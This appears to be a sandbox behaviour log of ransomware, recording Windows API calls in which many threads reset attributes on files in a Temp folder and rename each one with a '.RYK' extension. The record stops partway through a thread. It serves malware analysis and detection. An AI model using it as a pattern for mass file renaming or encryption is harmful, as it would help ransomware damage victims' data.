	[0249.425] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.426] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2816
	os_tid = 0x3200

	[0249.429] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif", dwFileAttributes=0x80) returned 0
	[0249.429] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.429] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2817
	os_tid = 0x3204

	[0249.433] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav", dwFileAttributes=0x80) returned 0
	[0249.433] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.433] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2818
	os_tid = 0x3208

	[0249.437] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3", dwFileAttributes=0x80) returned 0
	[0249.437] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.437] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2819
	os_tid = 0x320c

	[0249.440] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp", dwFileAttributes=0x80) returned 0
	[0249.440] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.440] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.440] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2820
	os_tid = 0x3210

	[0249.444] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a", dwFileAttributes=0x80) returned 0
	[0249.444] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.444] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2821
	os_tid = 0x3214

	[0249.448] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav", dwFileAttributes=0x80) returned 0
	[0249.448] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.448] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2822
	os_tid = 0x3218

	[0249.618] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3", dwFileAttributes=0x80) returned 0
	[0249.618] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.618] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2840
	os_tid = 0x3260

	[0249.620] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv", dwFileAttributes=0x80) returned 0
	[0249.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.621] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2841
	os_tid = 0x3264

	[0249.622] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a", dwFileAttributes=0x80) returned 0
	[0249.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.622] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2842
	os_tid = 0x3268

	[0249.623] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf", dwFileAttributes=0x80) returned 0
	[0249.623] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.624] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2843
	os_tid = 0x326c

	[0249.625] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log", dwFileAttributes=0x80) returned 0
	[0249.625] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.625] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2844
	os_tid = 0x3270

	[0249.626] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3", dwFileAttributes=0x80) returned 0
	[0249.626] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.627] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2845
	os_tid = 0x3274

	[0249.628] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt", dwFileAttributes=0x80) returned 0
	[0249.628] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
